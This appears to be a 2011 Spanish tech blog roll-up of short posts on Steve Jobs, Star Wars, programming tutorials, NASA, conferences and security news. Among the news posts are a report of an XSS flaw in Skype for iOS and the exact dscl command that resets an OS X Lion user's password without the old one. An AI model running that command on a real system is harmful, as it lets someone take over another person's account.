En esta entrevista, el genio Wozniak no puede reprimir las lágrimas al final hablando de su amigo (aunque con sus diferencias) y compañero de las primeras aventuras de Apple.

Grande Wozniak, Grande Jobs …

Visto en EuropaPress.

Microhistorias: la leyenda de Mr. Macintosh

Este es nuestro pequeño y sencillo homenaje al gran Steve Jobs en este triste día de su fallecimiento. Y nada mejor que con una MicroHistoria de él y su gran y querido ordenador, el Macintosh.

Posiblemente leyendo el título del post creerás que hablo de Steve Jobs, cosa que también podría ser (nadie mejor que él para llamarle Mr. Macintosh ó leyenda), pero no. Verás que hablo de otra cosa, de un pequeño ser pixelado que podría habitar dentro de los Macintosh.

Gracias Steve ...

 

Todos estamos tristes hoy,  nos deja un genio que revolucionó la Informática.

Desde CyberHades te recordaremos siempre.

Gracias por todo Steve, no te olvidaremos :_ (

Steve Jobs 1955-2011

Podría estar escribiendo toda la noche semana sobre Steve Jobs y sus hazañas como visionario de Apple. Seguro que en los próximos días vas a ver esta noticia no sólo por blogs de tecnología o internet en si, sino por periodicos, radios, televisión, comentarios en el trabajo, bares, restaurantes, etc. Sin duda alguna esta es la noticia probablemente del año.

Desde Cyberhades nuestro más sincero pésame para su familia y amigos y seguro que seguirás leyendo sobre este genio en este blog de la mano de Cybercaronte y sus Microhistorias.

Un vistazo rápido a las matemáticas de las …

Lecciones en JavaScript para programar efectos visuales de animaciones. Desde una sencilla línea, mover objetos usando la función seno y muchos más en este espectacular tutorial de SmashingMagazine.

Todo está documentado con código y muchos ejemplos, mira algunos de ellos:

• Sine bouncing message
• Double sine bouncing message
• Offset issue with plotting
• Distributing elements on a circle
• Distributing elements on a circle with correct angles
• Rotating a circle of boxes
• Oscillating rotating message
• Rotating message in a circle movement
• Boxed rotated message scroller

No puedes perdértelo.

¿Qué es Arduino?, una breve introducción

Interesante, actualizada y muy buena introducción al sistema Open-Source en electrónica, Arduino ofrecida por HowToGeek.

Arduino es una placa de circuito con un microprocesador y salidas I/O para comunicaciones y control. La placa se alimenta por USB (generalmente) ó una F.A. externa para aprovechar y alimentar también otros elementos o sensores.

El software para programarlo es parecido a C++ y tiene un IDE que te permite escribir el código, compilarlo y luego cargarlo en tu Arduino.

Tres documentales de Star Wars con escenas que …

 

Aquí tienes tres documentales hechos por seguidores de la mejor y única saga de La Guerra de la Galaxias (te recuerdo que sólo existen para mi tres películas). Son largos de más de dos horas de duración pero os puedo asegurar que os van a sorprender mucho. Imágenes espectaculares, escenas eliminadas, grabaciones del rodaje, etc, son sólo parte del material que puedes encontrar en estos documentales.

La Guerra de las Galaxias, El comienzo (Primer documental):

Mandelbrot en alta resolución, programado en …

 

Esto es dominio de la programación (el código ofuscado es su máxima expresión), el código que encabeza este post es un programa en Python para crear un fractal tipo Mandelbrot en alta resolución como este (click para verlo en alta resolución ):

No necesita librerías externas, es puro Python. Eso sí, sólo funciona en versiones menores o iguales a la 2.7, no funciona en Python 3. El fichero de salida que tiene el dibujo está en formato bitmap (bmp), llamado "M.bmp" con una resolución de 1500x1000 píxeles.

Fotos espectaculares de La Guerra de las Galaxias, …

Desde maquetas hasta LEGO, Avanaut ha creado esta increibles fotografías usando personajes de La Guerra de las Galaxias.

Aquí enlace con todas las fotos (o pulsa en la fotografía que encabeza el post).

Ya tengo fondo de escritorio ;)

Visto en GeeksAreSexy.

Descarga el DVD de la Defcon 19

 

Enlace directo a ISO DVD 1

Enlace directo a ISO DVD 2

Material del bueno para echarle un vistazo, dos dvds completitos de información sobre la Defcon 19. Es el mismo DVD que se entrega en la Defcon pero actualizando los speakers y las diapositivas.

Imprescindible, downloading …

Gmail Backup, copia de seguridad de tus correos …

Windows

Utilidad gratuita que nos vendrá bien a quienes como yo, tenemos al límite la cuenta de Gmail (la mía es de 2005 y nunca he borrado prácticamente nada). Simplemente introduce tus datos, la carpeta donde se volcará el backup y el intervalo de fechas para realizarlo.

El volcado se realiza en formato .EML, el cual se puede visualizar directamente desde Outlook Express, en Outlook 2003 y 2007, con Thunderbird, con este visor de EML gratuito o incluso con el Notepad de Windows.

¡Buenos días! "Good Morning", Message To Bears, …

Message To Bears. 

Videos sobre computación cuántica

En el blog de Michael Nielsen, podemos encontrar una serie de 21 vídeos dónde nos explica el modelo base de la computación cuántica entre otras cosas.

Según el autor, para poder entender los vídeos se debe tener una buena base de álgebra linear, así como sentirte cómodo con nueva terminología matemática.

Cada uno de los vídeos trata de explicar un concepto básico, desde la mecánica a la computación cuántica. Estos están inspirado en la Khan Academy.

Isaac Asimov anunciando el TRS-80

El genio Asimov anunciando el TRS-80 de Tandy Computers, que salió al mercado en 1980, con teclado QWERTY y BASIC incorporado.

El anuncio es de la revista BYTE en 1982.

Visto en VintageComputing.

Los Simpsons en Minecraft

Visto en TheAwesomer.

Cómo imprimir tu logo en un código QR

How-To sencillo de HackADay donde se explica cómo insertar el logo que quieras dentro de un código QR, voy a intentar traducirlo y explicarlo un poco. En concreto para la versión 6 de un código QR (41 pixels alto y ancho). Estos códigos tienen esta plantilla base (sobre ella construimos el nuestro propio, echa un vistazo a la ISO 18004 donde están las especificaciones técnicas del código QR):

El color negro será siempre negro, los pixeles en blanco serán blancos, los rojos son zona donde no debes tocar y la parte gris es donde podemos hacer lo que queramos. La línea discontinua de colores blanco/negro arriba y a la izquierda se llaman "timming pattern" (patron de sincronización). Cada bit blanco/negro divide toda la cuadrícula en filas y columnas.

Imprime en 3D tus diseños de Minecraft

En el MIT han creado un programa que habilita a los jugadores de Minecraft la opción de imprimir cualquier objeto del juego en una impresora 3D.

Para marcar el objeto, se colocan diamantes, oro, obsidiana y bloques de hierro en los extremos.

Eso sí, antes tienes que tener una impresora 3d ¿no tienes una? no pasa nada, echa un vistazo aquí por si te animas  a construir una.

Er docu der finde: Google, Fábrica de ideas

Más tutoriales sobre programación gratuitos

En dev-hq.net, una web totalmente gratuita que alberga una diversidad de tutoriales sobre programación en distintos lenguajes. Estos tutoriales son cortos y concisos y en muchos casos van acompañado de un vídeo de demostración.

Actualmente recoge los siguientes lenguajes:

• C++
• Python
• Lua
• Visual Basic
• HTML & CSS
• PHP
• Javascript
• Java
• Ruby on Rails
• UDK

También dispone de un foro por si tienes dudas.

Encuentra mi hash

La única forma de crackear un hash es a través de fuerza bruta. Como ya sabéis, un hash es el resultado de la aplicación de una función hash, valga la redundancia, aplicado a una entrada de datos. La particularidad de estas funciones es que no pueden ser invertidas, es decir, a partir un hash no podemos saber el valor original.

Por lo tanto, como decía antes, la única forma de llegar al los datos originales es por fuerza bruta, pero eso no suele ser una opción por el coste en tiempo, a menos que el dato original sea muy corto o que sea una palabra común que puede ser fácilmente encontrada en un diccionario, lo que nos llevaría a lo que se conoce como ataques de diccionario, que no deja de ser un ataque por fuerza bruta.

Feliz cumpleaños GNU

GNU is Not Unix. Es ese el significado de dicha palabra como mucho de vosotros ya sabréis. Y como mucho también sabréis GNU es lo que Richard Stallman empezó hace 28 años, un 27 de septiembre de 1983. Y con ello el gran movimiento del software libre, del que tanto nos hemos aprovechado a nivel individual y empresarial.

A continuación os dejo un vídeo de Stephen Fry donde nos da una introducción a GNU y de camino brindar por este 28 cumpleaños.

Super Sushi

A este restaurante tendremos que ir NOP y yo a comer los martes (día japonés).

Qué pedazo de sushi!!!! y recuerda, tienes que comértelo de un bocado ;)

Visto en TheAwesomer.

Tuneando Windows con D7

 Windows

D7 es una aplicación gratuita  para entornos Windows (XP, Vista y Windows 7) que te permite hacer tareas de mantenimiento, tunear (tweak) , eliminar malware, hacer copias de los profiles de los usuarios, etc. Ojo, no es una herramienta para principiantes. Con ella podemos modificar y alterar funciones de Windows que podrían ser fatales para el sistema sino se conocen bien. Por otro lado es tremendamente potente, con multitud de opciones (echa un vistazo a la imagen que encabeza este post, verás algunas de ellas).

El video más largo de YouTube, 571 horas

httpv://youtu.be/865S1zMcWMo

No intentes verlo por completo ;)

Luego, si no tienes bastante y para cambiar de aires, 10 horas del Keyboard Cat:

httpv://youtu.be/sXCzwpeBJGs

Challenge accepted!!!!

Momentos históricos de la NASA para tu móvil en …

Ya sabéis que en Cyberhades somos muy geeks y si no te lo crees sigue leyendo.

La NASA ha liberado algunos de los momentos históricos en forma de tono para tu móvil. Proveen los sonidos en 2 formatos: M4R (iPhone) y MP3 (el resto del mundo).

Obviamente no tienes porque usarlos como tono en tú móvil.

Los fragmentos de audio que te puedes descargar son:

MP3 STS-1: We’re Going to Dust it Off First STS-7: That Was Definitely an E-ticket! STS-131: Sound of Launch STS-132: Shuttle Gear Drop STS-135: Countdown to Launch STS-135: Launch Commentary STS-135: Landing Commander Comments STS-135: Landing Comments

Trailer de "Being Elmo"

httpv://youtu.be/dlNZo10pCts

Esta es la bonita  historia de Kevin Clash, la persona  que está detrás del ser más querido y adorable de Barrio Sésamo, Elmo.

Entre otras curiosidades podemos ver el backstage de Barrio Sésamo y algunas imágenes de un genio que  es capaz de convertirte en niño, Jim Henson (nunca te olvidaremos).

El trailer ya casi te hace llorar ...

Being Elmo.

Cómo construir un robot muy simple y un completo …

Los comentarios de nuestro post de hace algún tiempo llamado "Cómo construir un robot en 2 horas" están que arden, pidiendo más información sobre cómo construirlo. Lo primero es comentar que no se hace solo, y requiere una mínima experiencia en electrónica, algo de soldadura y sobre todo muchas ganas de aprender.

Para complementar ese post aquí tenéis la construcción de un robot muy sencillo, el "Beattle":

Está compuesto por unas pilas, unos clips dos motores de corriente contínua y dos interruptores. Nada más, muy sencillo pero bueno para comenzar y experimentar. En este enlace está explicado paso a paso, eso sí, en inglés.

Espectacular video del Atlantis en su último …

Video con imágenes espectacular y editadas, añadiendo una música perfecta, donde se muestra en todo su esplendor el último despegue de un Transbordador Espacial, el Atlantis.

Visto en Reddit.

Cómo funciona Blake - Vídeo

En este vídeo podemos ver de forma gráfica el funcionamiento de Blake, uno de los 5 finalistas que tendrán de la competición organizada por el NIST. El ganador se convertirá en el próximo estándar SHA-3.

El resto de finalistas son: Grøstl, JH, Keccak y Slein.

Más información:

THIRD (FINAL) ROUND CANDIDATES

Tetris Game Boy y la Tierra Media recreada en …

Tetris Game Boy

Tierra Media Minecraft

Hay gente con mucho tiempo libre ;)

Minecraft.

Visto en JoyStiq.

12 Paquetes de iconos gratuitos para Android

Si estás programando alguna aplicación para Android, puedes usar cualquiera de estos iconos (incluso si lo vas a comercializar, intentando siempre mencionar a las web que los tiene, Tehkseven) repartidos en 12 paquetes con cientos de ellos.

 

Una canción de cuna para Naomi, este domingo por …

Para tí Naomi :)

Amiina

Captura de pantalla de salida de la línea de …

¿Cuántas veces has tenido que copiar y pegar la salida de un comando? Si copias y pegas en formato texto y dicho texto tiene algún tipo de formato como tabuladores por ejemplo, seguramente hayas tenido problemas a la hora de pegar.

Una forma de solventar el problema anteriormente descrito es capturar la pantalla o parte de la pantalla que nos interese, pero ¿Y si la salida de dicho comando es un poco larga y se nos sale de la pantalla? La solución: convert.

10+1 Herramientas útiles y gratuitas para tu …

Windows

Todos conocéis Sysinternals posiblemente por el famoso e indispensable Process Explorer del que luego hablaremos. Pues en 4Sysops han hecho una recopilación de las más interesantes para ellos y nosotros la hemos ampliado con alguna más. La verdad es que son realmente útiles para cualquier usuario de Windows. Aparte de ser aplicaciones que apenan consumen recursos del sistema, todas puedes ejecutarlas directamente (no tienen instalador, son perfectas para un usb) y sobre todo son gratuitas.

Optimizando y reparando el ordenador con TuneUp …

Windows

Todos tenemos equipos con sistemas Windows (XP, Vista y Windows 7) que llevan meses o años funcionando y que no hemos formateado (por diversas razones) para hacerles una instalación limpia desde cero. Muchos tardan en arrancar o en apagarse, van muy lentos, tienen aplicaciones instaladas que no podemos desinstalar, etc.  Siempre puedes intentar optimizar algo el arranque y el registro manualmente pero es mejor utilizar una herramienta que haga el trabajo por nosotros, como TuneUp Utilities.

Er docu der finde: La máquina del tiempo

(IN)SECURE Número 31

Ya tenemos disponible para su libre descarga un nuevo número de la revista electrónica sobre seguridad informática (IN)SECURE.

En este número nos deleitan con:

• The changing face of hacking
• Review: [hiddn] Crypto Adapter
• A tech theory coming of age
• SecurityByte 2011: Cyber conflicts, cloud computing and printer hacking
• The need for foundational controls in cloud computing
• A new approach to data centric security
• The future of identity verification through keystroke dynamics
• Visiting Bitdefender's headquarters
• Rebuilding walls in the clouds
• Testing Domino applications
• Report: Black Hat 2011 USA
• Safeguarding user access in the cloud with identity governance

Lo puedes descargar desde aquí (PDF)

Cómo crear un Interface de teclado PS/2

Este proyecto me ha parecido importante ya que hoy día encontramos teclado para casi todo. No viene mal saber cómo podríamos crear una interface para reconocer las teclas pulsadas y sobre todo entender cómo funciona el PS/2.

En este artículo se describe y se muestra un ejemplo para montar un sistema capaz de interactuar con un teclado, para poder luego interpretar las pulsaciones para lo que queramos. El componente principal del proyecto es un PIC, el cual recibirá las teclas pulsadas y lo enviará al display de 7 segmentos para mostrarla.

Una forma de acabar rápidamente La Guerra de las …

“Nah, no me gusta ese tipo azul. Vamos a arreglar el rojo”

Puedes ver algunas otras variantes para acabar pronto con Star Wars, aquí.

visto en Neatorama.

CyberHades tiene su primer bebé, bienvenida Naomi …

Pues sí, nuestro gran amigo (gracias al cual este blog existe) tuxotron ya es papá. Se llama Naomi y es oficialmente el primer bebé de CyberHades.

Hace poco más de un mes nos paseábamos por la NASA (con 40º) y otros lugares con Melissa llevando esa camiseta que tenéis en la portada. Pues bueno, llegó el momento...

baby geek, she's outside now ;)

Un abrazo compañero, ya sabéis que os queremos.

Código fuente de Quake 2 a revisión

Si eres apasionado de los  videojuegos y aún más, eres apasionado de la programación, no te puedes perder esta serie de 4 artículos que repasa y analiza el código fuente de uno de los motores 3D que revolucionó el mercado del videojuego.

La serie está compuesta por 4 artículos:

1. Quake 2 Source Code Review 1/4 (Intro) 
2. Quake 2 Source Code Review 2/4 (Polymorphism) 
3. Quake 2 Source Code Review 3/4 (Software Renderer)
4. Quake 2 Source Code Review 4/4 (OpenGL Renderer)

Si alguna vez se te pasó por la cabeza programar videojuegos, ya tienes por donde empezar.

Microhistorias: la pelea a tortazos entre dos …

Esta es la historia de una pelea a bofetadas entre geeks, bofetadas de verdad, no virtuales, en un pub inglés llamado “Baron of Beef”.

Aunque lo realmente interesante es el transfondo en el que transcurre...

Primero vamos a ver quién es quién.

Al primero lo conocéis seguro, Sir Clive Sinclair el gran visionario y creador del famoso ZX 80-81, ZX Spectrum y el infame Sinclair QL (por cierto, si quieres saber toda la historia de este ordenador, no te pierdas el podcast de Retroactivo que habla sobre él). Aunque su verdadera obsesión era crear un coche eléctrico que al final fue lo que le llevó a la ruina. Aunque no os lo creáis, que Sir Clive se lanzara a fabricar ordenadores fue casi una coincidencia. Cuando os presente a Chris lo veréis.

Las publicaciones de los "Microsofters"

Esta es la contrapartida de Microsoft a la entrada que ayer publicó Cybercaronte: Las publicaciones de los “Googlers” :-).

Desde este enlace podemos buscar y acceder a más de 9200 publicaciones de investigación hechas por Microsoft. En estos momentos concretamente 9212. Si quieres estar al día de lo que el equipo de investigación de Microsoft publica, te puedes suscribir a su rss.

Estas son las distintas áreas de investigación que podemos encontrar:

XSS en Skype para iOS

Pues eso, Skype 3.0.1 y versiones anteriores para iOS (iPhone y iPod touch) contiene un fallo de seguridad (XSS) a la hora de mostrar el nombre de tus contactos. Es decir, que no filtra el nombre de tus contactos, por lo tanto si uno de tus contactos fue bautizado como <script>… o <iframe>… tienes un problema :)

En el vídeo de a continuación podemos ver una demostración del fallo, en el que se roba la base de datos de los contactos del usuario afectado.

OS X Lion permite cambiar la contraseña de un …

En caso de que el título sea un poco confuso, según podemos leer en esta entrada de Patrick Dunstan, la última versión del sistema operativo de Apple, OS X Lion, permite el cambio de la contraseña de un usuario sin preguntar por la contraseña actual, sino directamente preguntándote por la contraseña nueva.

Esto se puede conseguir a través de Directory Services. Ejecutando:

$ dscl localhost -passwd /Search/Users/usuario

Dónde usuario es el nombre del usuario que esté logueado. Por lo tanto para poder llevar a cabo esto, necesitas acceder al sistema de forma local y que además haya un usuario logueado en el sistema. Además sólo puedes cambiar la contraseña de dicho usuario, a menos que dicho usuario ser root.

Las publicaciones de los "Googlers"

Listado de publicaciones creados por trabajadores de Google (Googlers). Siempre viene bien tener a mano estos documentos técnicos creados por los chicos y chicas de Google.

Están organizados por categorías y puedes encontrarlos en html ó PDF:

• Algorithms and Theory (217)
• Artificial Intelligence and Data Mining (95)
• Data and System Management (47)
• Distributed Systems and Parallel Computing (141)
• Education (8)
• General Science (33)
• Human-Computer Interaction and Visualization (96)
• Hypertext and the Web (33)
• Information Retrieval (74)
• Machine Learning (180)
• Machine Perception (113)
• Machine Translation (30)
• Natural Language Processing (143)
• Security, Cryptography, and Privacy (106)
• Software Engineering (60)
• Speech Processing (15)
• Systems (28)

Web Google Research.

Visto en HackADay.

Nyan Cat usado como arma en Unreal Tournament

Arma imbatible y terrorifica, aquí puedes descargar el MOD para UT3.

Visto en Kotaku.

Así te sientes al sobrevolar la Tierra ...

httpv://youtu.be/74mhQyuyELQ

Vuelo time-lapse grabado desde la ISS orbitando nuestro planeta por la noche.

Alucinante.

Living on Video, TransX. Hoy domingo por la mañana …

Ojo a los apartitos que nos enseñan y sobre todo bailoteo hipnótico de la chica.

Espectacular, no falta de nada: voces de robot, baile de robot, ritmo PT 1 de Casio incluido (3:33), etc… (vamos lo típico de 1981).

“… in the computer interface” :)

Libritos para el finde

• How To Use VirtualBox
• The Garbage Collection Handbook
• How to Design Programs, Second Edition
• Small memory software, Patterns for systems with limited memory
• Mining of Massive Datasets

Robots que crean su propio lenguaje

Estos robots se llaman Lingodroids, y están programados para usar, crear y compartir un lenguaje. Cuando están en un lugar ellos mismos crean palabras para describirlo, a dónde quieren ir y qué quieren hacer allí. Según Janet Willes de la Universidad de Queensland, “Cuando ellos necesitan una nueva palabra, la inventan”.

Er docu der finde: Los juegos de Hollywood

Introducción a la programación ensamblador en …

Ya todos sabemos que el lenguaje de programación es Java. Luego Google liberó lo que le llaman las NDK (Native Development kit), un conjunto de herramientas y librerías que te permiten tener un poco más de control sobre tus aplicaciones. En este caso programamos en C o C++ y entre medio hemos visto también la posibilidad de programar usando lenguajes de script como Lua, Python, PHP, etc.

En esta entrada podemos ver un tutorial compuesto por varias partes, en estos momentos 8, donde nos guían desde los más básico como preparar nuestro entorno hasta la ejecución de código ensamblador en Android usando las anteriormente mencionadas NDK, pasando una ligera introducción al ensamblador de micros ARM.

140 preguntas que deberías repasar si tienes una …

El simple hecho de conseguir una entrevista de trabajo con Google ya es todo un lujo. Así que si tienes dicha oportunidad prepárate bien para la entrevista y si no sabes por dónde empezar, aquí tienes un recopilatorio de 140 preguntas que te pueden tocar responder en el entrevista.

El juego online multijugador (MMO) de la NASA, …

El proyecto ya ha conseguido todos los fondos necesarios (25.000$) y ya se está programando (usando el motor de Unreal 3). Un equipo de 20 desarrolladores de Project Whitecard Inc ha ganado el concurso con la mejor idea para este nuevo juego online multijugador. Según comentan los mismos desarrolladores, tendrá lugar en 2035 y en ella tendrás tu avatar 3d que empezará en una academia espacial (puede ser ingeniero, físico o piloto) y luego tendrás la posibilidad de viajar a otros planetas del Sistema Solar, crear bases en ellos, etc. Lo mejor de todo es que la tecnología que se usará en el juego son prototipos o ideas conceptuales que la NASA está actualmente estudiando para poder algún día llevarlas a cabo en el mundo real para la conquista espacial.

La nueva BSOD de Windows 8

Todos esperábamos una Pantalla Azul de la Muerte (BSOD) de color negro, pero la nueva distribución que tenemos disponible (y de la que hablamos ayer aquí) ha cambiado de nuevo a azul. Además se ha añadido un emoticon triste para hacerla más amigable. También incluye alguna información más legible sobre el posible error pero lo mejor de todo es que permitirá dar unos segundos al usuario para guardar el trabajo que estuviera haciendo antes de reiniciarse.

Descarga Windows 8 Developer Preview

Si estás impaciente por ver algunas características del nuevo Windows 8, ahora puedes descargarte esta versión en inglés de desarrollo (no será estable y tendrás sus problemillas lógicos de una versión tan temprana) y empezar a probarlo.

Aquí puedes bajar la versión 32 y aquí la 64 bits. Requiere una instalación limpia, desde cero.

Asegur@IT 3, vuelve el camping geek

Pues otra vez, el 21, 22 y 23 de Octubre volverá el camping más friki. Nuesta experiencia en la BlogCamp del año pasado (evento muy similar al Asegur@IT) no pudo ser mejor. Lo pasamos realmente bien y sobre todo aunque no te lo creas aprendes. Y cuando digo aprendes no me refiero a aprender a ligar, beber (que también) y otras cosas de la mano de Chema y otros amigos }:) , sino temas técnicos.

Si eres fan de Juego de Tronos, vas a disfrutar …

30 segundos de bofetadas de Tyrion a Joffrey …

Ahhhhhhh te quedas bastante a gusto ;)

Por lo visto la segunda temporada de la serie será espectacular.

Visto en io9.

Pauldotcom episodio 6

Ya esta disponible el sexto episodio de Pauldotcom en español. En esta ocasión hablan sobre Lombriz Morto, Apache DoS CVE-2011-3192 y DigiNotar Fail of the Month. Tienes más información aquí.

Descarga el podcast.

El tributo de la Opportunity a las Torres Gemelas …

El pasado 11 de septiembre de 2011, la Opportunity realizó su propio homenaje a las víctimas del 11S. El robot tiene una bandera de metal que fue recuperada de los escombros de las Torres Gemelas en el World Trade Center de Nueva York. Esta bandera está sujeta justo en uno de los extremos de su brazo robótico.

En el sol marciano 2713 (11 de septiembre de 2011) la Opportunity realizó una foto a esa bandera y la envió a la Tierra, la podéis ver en el encabezamiento de este post (click para ampliar).

Pikachewie

Mezcla entre un Pokemon y un Chewie ;) , rozando los límites del frikismo y la autoestima haciendo este tipo de post, pero en el fondo os gustan ¿verdad?

Logo de una camiseta que puedes comprar aquí.

Visto en RampagedReality.

IBM y 3M en cómo crear un procesador 1000 veces …

Por lo visto el truco está en un “pegamento” especial capaz de disipar el calor de las distintas capas del micro y poder así construir torres de silicio, permitiendo crear torres de hasta 100 capas.

Fuente

¡ Feliz día del programador !

Pues sí, parece ser que hoy, 13 de septiembre es el día oficial del programador. Al menos en Rusia.

Ese fue el día escogido por que es el número 256 del año, aunque los años bisiestos, se celebra el 12 de septiembre.

¡¡ Muchas Felicidades a todos los programadores que nos leeis !!

Visto en: extremista.com.ar

Vía: meneame.net

 

Este fin de semana arranca la No cON Name

Recuerda, este 16 (viernes) y 17 (sábado) de septiembre arranca la edición 2011 de la No cON Name en Barcelona.

Algunas de las ponencias:

Título: Geolocalización Wi-Fi basada en API Ponente: Yago Fernández Hansen

Título: Terminal Hackpplications – Old and new tricks hacking Citrix and Terminal Services Ponentes: Juan Garrido y Chema Alonso.

Título: Reversing/Forensic Android Ponentes: Sebastián Guerrero Selma

Y muchas más, echa un vistazo a este enlace para obtener más detalles y la agenda del evento (aquí la nota de prensa de septiembre).

Retos de Ghost in the wires

Actualmente me estoy leyendo el último libro publicado por Kevin Mitnick: Ghost in the wires.

El libro trata un poco de las aventuras del hacker más buscado (o el que fue más buscado). Aunque todavía no lo he terminado de leer, me está gustando. Está muy entretenido y es muy ameno de leer.

Una de las curiosidades que uno se da cuenta es que al principio de cada capítulo hay alguna frase codificada de alguna forma. Yo ne me he entretenido en dedicarle tiempo a descifrar dichos textos, pero hay quién sí que lo ha hecho. En esta entrada podéis ver la solución (en este momento en el que escribo estas líneas) a 30 de los 38 textos cifrados.

Recordando a Las Torres Gemelas en el cine ...

Así nos gusta más recordarlas …

Esta foto la hicimos hace tres semanas en Nueva York, justo en la Zona Cero:

Esta otra es la maqueta del futuro complejo compuesto de 5 rascacielos y una estación de metro diseñada por Calatrava:

 

Don't Look Back - Old nº9 (4:00 am), para este …

Don’t Look Back.

Seguridad Por Niveles

Se trata de una obra muy específica de más de 700 páginas, que desarrolla todos los temas de interés para profundizar en Seguridad de la Información, presentándolo desde el modelo de capas TCP/IP y con un gran cúmulo de ejercicios, herramientas y prácticas.

Fuente. Descarga directa

Cómo limpiar tu ordenador de sobremesa

How To Geek nos explica paso a paso cómo hacer una buena limpieza (y opcionalmente ajustar algunos cables) del ordenador sobremesa que tenemos en casa ó en la oficina.

Sólo nos llevará 20 minutos y nos recomienda limpiarlo cada 3 ó 6 meses. Yo tengo el motor de un jacuzzi tuneado que funciona perfectamente para dejar el ordenador limpito limpito, eso sí, la nube de polvo que genera es peligrosa ;).

Espectacular render de piel en WebGL

Haz click sobre la imágen y mueve el ratón para cambiar el punto de vista.

WebGL.

Visto en HackerNews.

¿Zapatillas Nike Marty McFly a la venta? parece …

Confirmado por NIKE aquí.

1.500 pares serán subastados en eBay y los beneficios irán a parar a la fundación Michael J. Fox contra el Párkinson.

 

Pulsa en la imagen para obtener información detallada e incluso un FAQ

Creo que serán las primeras zapatillas con batería recargable, LEDs y puede que hasta ajuste de forma automática los cordones.

Pronto sabremos todo sobre estas espectaculares zapatillas.

Fotos Cosplay de la Dragon*Con 2011

No os perdáis los fantásticos disfraces “Cosplay” que la gente se fabrica para ir a esta Dragon*Con 2011.

Fotos por día:

Día 1

Día 2

Día 3

Final Day

Visto en GeeksAreSexy.

Er docu der finde: La historia de las matemáticas …

Pac Man Fail

Fail - By Paolo Bruno, desde it8bit.

Piratería del software (Infografía)

Fuente

Descarga el libro "Hackerspaces: The Beginning" …

 Página del libro donde muestra el CCC de Colonia

Un grupo de hackers del famoso CCC, en 2008 contactaron con otros hackers alrededor del mundo para realizar este libro donde se recogen varios "hackspaces" o lugares de reunión de hackers, clubs, hack-labs, o como quieras llamarlo. En el libro puedes ver fotos y una descripción de estos lugares de reuniones para gente que como nosotros, les gusta la tecnología, ordenadores y sobre todo aprender. Cada lugar también tiene su propia ficha en la cabecera donde entre otros datos, puedes ver su página web. La mayoría de estos sitios siguen hoy día funcionando.

Bucle sin fin ...

Visto en HTG.

Ingeniería inversa a un fichero ELF (paso a paso)

Linux

Muy buena práctica de ingeniería inversa para aprender a usar algunas herramientas que nos proporciona Linux.

El autor nos cuenta paso a paso cómo consigue sacar la contraseña a un fichero  (en concreto formato ELF)  que un amigo suyo le envía (y que puedes descargar aquí para practicar) y le desafía a hackearlo.

El programa simplemente al ejecutarlo pide un password y muestra algunos mensajes de salida por la consola.  Se explica paso a paso todo el proceso, desde el primero  para saber el formato del fichero (usando el comando file de Linux), hasta desensamblarlo (con GDB), tracearlo (con ptrace) e incluso creando un programa en C para sacarle finalmente la contraseña.

Evolución de la nube

Durante la VMWorld 2011, Redhat llevó a cabo una encuesta sobre la situación actual de la nube desde el punto de vista empresarial, así como de los planes de futuro de estas. Y estos son los resultados:

¿Qué tecnología pública en la nube usas actualmente o consideras usar en el futuro?

Amazon	35.6%
IBM	11.6%
Rackspace	17.2%
Other	58.3%

 

¿Cuál es tu lenguaje/marco de trabajo (framework) primario que usas?

Java EE	30.9%
Spring	3.2%
Ruby/Rails	4.4%
PHP	13.9%
Perl	8.8%
Python	5.6%
Node.js	0.5%
.NET	32.6%

 

¿Qué lenguaje/framework planeas usar en la nube?

Fotos de Kevin Mitnick en la Campus Party 2011

Haz click en las fotos para verlas en diapositivas

Aprovechando el anterior post sobre Kevin Mitnick, vamos a publicar algunas fotos más que hicimos durante la conferencia en la Campus Party 2011 en Valencia (algunas ya las pusimos en este otro post). Lamentablemente, no se permitía grabar en video (ni siquiera a la organización) así que no tenemos la charla completa (si alquien la tiene, que nos lo haga saber por favor).

En ebay, los portátiles de Kevin Mitnick …

De momento, uno por 7.500$, y es un Toshiba /4400SX (486SX con 2MB de RAM) que fue confiscado en Seattle por el FBI cuando lo detuvieron. Fue devuelto en piezas pero se ha vuelto a montar y además conserva la bolsa que dice "Evidencia FBI". Puedes verlo en ebay aquí.

Y encima está firmado por Kevin Mitnick y Steve Wozniak.

Eso sí, el FBI se quedó con el disco duro ...

Domingo por la mañana, The Wombats "Techno Fan"

The Wombats.

Cómo escribir un sencillo servidor TCP en Haskell

Desde la fantástica página catonmat nos explican cómo programar en Haskell un servidor TCP sencillo (aquí puedes descargar el código fuente). Este servidor TCP sólo escucha en el puerto que le pasamos como parámetro y puede ejecutar también algunos comandos simples.

Una buena forma de adentrarte en la programación del lenguaje Haskell (aquí info en Wikipedia).

Epic Frog

PS3 y Xbox, las dos en una caja de PC

Sólo me viene una cosa a la cabeza cuando veo esto … ni en el mismísimo infierno tiene que hacer el calor que hay dentro de esa caja ;)

Más fotos aquí.

Visto en Reddit.

Er docu der finde: La historia de las matemáticas …

¿Se ha quedado sin seguro de vida Julian Assange?

¿Os acordáis de ese fichero que Wikileaks puso en la red con, supuestamente miles de documentos secretos protegidos con contraseña del que nos habló aquí Cybercaronte?

Pues la historia empieza con la acusación por parte de Winileaks al diario Guardian por haber revelado la contraseña para descifrar el archivo anteriormente mencionado.

Dicha información, la contraseña, se desveló en un libro publicado por Guardian llamado: WikiLeaks: Inside Julian Assange’s War on Secrecy, que fue publicado en febrero de este mismo año.

WTF!!! La historia se repite, un empleado de Apple …

Posible apariencia del iPhone5 según MacRumors

No hombre no, ¿otra vez?. Pues según CNET un empleado de Apple se podría haber olvidado un prototipo de un iPhone 5 en un bar de San Francisco.

No te pierdas la historia completa, aunque la red se llenará en unas horas de más información sobre esta noticia (incluso puede que veamos hasta una disección de este nuevo prototipo).

Apple pretende sacar al mercado en nuevo iPhone 5 en Octubre.

Descarga el mítico Ultima IV, gratis

Windows

Además no tendrás que pelearte con emuladores ni nada, totalmente compatible con Windows XP, Vista y 7. Ultima IV fue en su día un juego revelación en el mundo del RPG, salió inicialmente para Apple II en 1985 y luego para otra plataformas.

25MB llenos de fantasía, rol y batallas ;) (25MB es lo que ocupa hoy día una partida salvada de cualquier juego de rol actual en consolas y PC).

10 editores de vídeo gratuitos para Linux

Poco a poco los sistemas basados en Linux se van acercando más al usuario final. Aparte de los juegos, la edición de vídeo ha sido otra de las debilidades de los sistemas del pingüino. Pero la cosa va cambiando y ya existen varias alternativas para la edición de vídeo que cubrirá las necesidades de cualquier usuario e incluso algunos profesionales.

A continuación os dejo una lista de 10 editores de vídeo que te puedes descargar e instalar de forma totalmente gratuita:

Twitter más rápido que los terremotos
